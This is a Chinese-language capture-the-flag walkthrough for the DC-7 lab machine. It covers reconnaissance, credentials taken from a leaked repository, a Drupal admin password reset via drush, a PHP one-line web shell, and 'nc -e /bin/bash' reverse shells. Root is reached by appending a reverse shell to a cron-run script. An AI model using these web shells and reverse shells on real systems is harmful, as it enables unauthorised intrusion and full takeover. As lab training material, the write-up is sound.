DC-7靶机下载地址:https://www.five86.com/downloads/DC-7.zip
目标
本机IP:192.168.118.128
靶机IP:192.168.118.0/24
信息收集
nmap存活主机探测,端口扫描,全服务扫描
nmap -sP 192.168.118.0/24
nmap -p- 192.168.118.144
nmap -sV -A 192.168.118.144
第一步得到存活ip为:192.168.118.144
这里探测出开放了22端口和80端口
查看web服务:http://192.168.118.144
首先猜测其CMS为Drupal,使用whatweb查看一下,是这样的
主页提示我们跳出思维惯性,不能暴力破解,应该换种方法进行渗透
扫描目录查看一下
dirsearch -u http://192.168.118.144
访问扫描到的目录,特殊的有一个后台登录 /user/login
代码审计
而且,每个页面左下角都有个@DC7USER,结合首页作者给出的提示,这里可以猜测是否有源码泄露,搜索一下,源码被泄露了
进去查看,成功在其配置文件里找到了一个账号密码,虽然不知道具体是干啥的,但相信肯定是有用的咯
拿到账号密码(dc7user :MdR3xOgB7#dW)
首先尝试登录后台,发现登录失败
想到前面开放的22端口,尝试使用SSH登录,登录成功
ssh [email protected]
探索过程中,首先引眼帘就是这个邮件地址了
cat进去查看邮件,发现里面有root和两个文件地址
查看一下 backups.sh 文件
发现是一个root的定时文件,想要在里面直接反弹shell,但是查看后发现没有写入权限
在这里看到 backups.sh 文件里面执行了drush命令,执行的文件是/home/dc7user/backups/website.sql
发现了个drush命令,这个是drupal专属的一个操作系统命令,参考:https://zhuanlan.zhihu.com/p/60880048
drush是一个shell接口,用于从云服务器命令行管理Drupal。
需要在 drupal web目录执行(/var/www/html)
使用 drup 更改密码运行命令(drush user-password admin --password="new_pass")
drush修改密码
首先切换到drupal web目录,然后查看管理员账号admin
cd /var/www/html
drush user-information admin
修改管理员admin密码为123456
drush upwd admin --password="123456"
使用修改后的密码登录后台(admin :123456),登录成功
Getshell
想办法写个木马就进行反弹shell
在下面这个地方找到了编辑文件并上传的地方,但是没有PHP解释器
后面查了一下因为dc7的CMS是Drupal8,已经移除了PHP Filter(php过滤器),后续作为一个模组存在,可以手动安装
添加下载地址:https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz ,然后点击开始安装
我这里失败了,直接在浏览器下载后直接上传后再安装
install安装成功,点击next steps里的enable newly added modules(启用新添加的模块)激活php模块,下滑找到 php fliter 勾选之后选择安装,安装成功
直接点击主页里面的DC-7,修改里面的内容为一句话木马,选择format为php code
<?php $var=shell_exec($_GET['cmd']);echo $var ?>
上传成功后再url后面拼接 ?cmd=ls ,成功回显,木马上传成功
反弹shell
nc -lvvp 6666
192.168.118.144/node/1?cmd=nc+-e+/bin/bash+192.168.118.128+6666
成功得到shell,发现不是稳定shell,上传脚本升级为交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
提权
接下来的思路即为提权。通过上面的分析我们发现,root用户会定期执行backups.sh脚本。
而此时用户www-data存在着写权限,那么即可尝试将反弹shell的脚本写入backups.sh脚本
那么等待反弹即可获得root权限
nc -lvvp 6688
echo 'nc -e /bin/bash 192.168.118.128 6688' >> opt/scripts/backups.sh
在 www-data 权限下将反弹shell写入backups.sh,在kali主机等待,由计划任务可知,这个脚本每过15分钟即执行一次,所以等待反弹shell成功即可
反弹shell成功后,即可获得root权限,最后成功在 /root目录下找到flag